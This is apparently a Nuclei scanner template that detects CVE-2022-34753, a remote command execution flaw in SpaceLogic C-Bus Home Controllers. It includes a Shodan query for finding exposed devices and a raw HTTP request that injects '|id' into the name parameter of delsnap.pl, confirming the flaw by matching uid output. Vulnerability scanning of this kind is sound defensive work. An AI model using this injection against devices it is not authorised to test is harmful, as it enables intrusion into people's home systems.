id: CVE-2022-34753

info:
  name: SpaceLogic C-Bus Home Controller <=1.31.460 - Remote Command Execution
  author: gy741
  severity: high
  description: |
    SpaceLogic C-Bus Home Controller through 1.31.460 is susceptible to remote command execution via improper neutralization of special elements. Remote root exploit can be enabled when the command is compromised, and an attacker can potentially execute malware, obtain sensitive information, modify data, and/or gain full control without entering necessary credentials.
  reference:
    - https://www.zeroscience.mk/codes/SpaceLogic.txt
    - https://download.schneider-electric.com/files?p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2022-193-02_SpaceLogic-C-Bus-Home-Controller-Wiser_MK2_Security_Notification.pdf
    - http://packetstormsecurity.com/files/167783/Schneider-Electric-SpaceLogic-C-Bus-Home-Controller-5200WHC2-Remote-Root.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34753
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-34753
    cwe-id: CWE-78
    epss-score: 0.96979
  metadata:
    max-request: 1
    shodan-query: html:"SpaceLogic C-Bus"
  tags: cve,cve2022,iot,spacelogic,rce,oast,packetstorm

http:
  - raw:
      - |
        GET /delsnap.pl?name=|id HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64('{{username}}:' + '{{password}}')}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'

      - type: status
        status:
          - 200

# Enhanced by md on 2023/03/22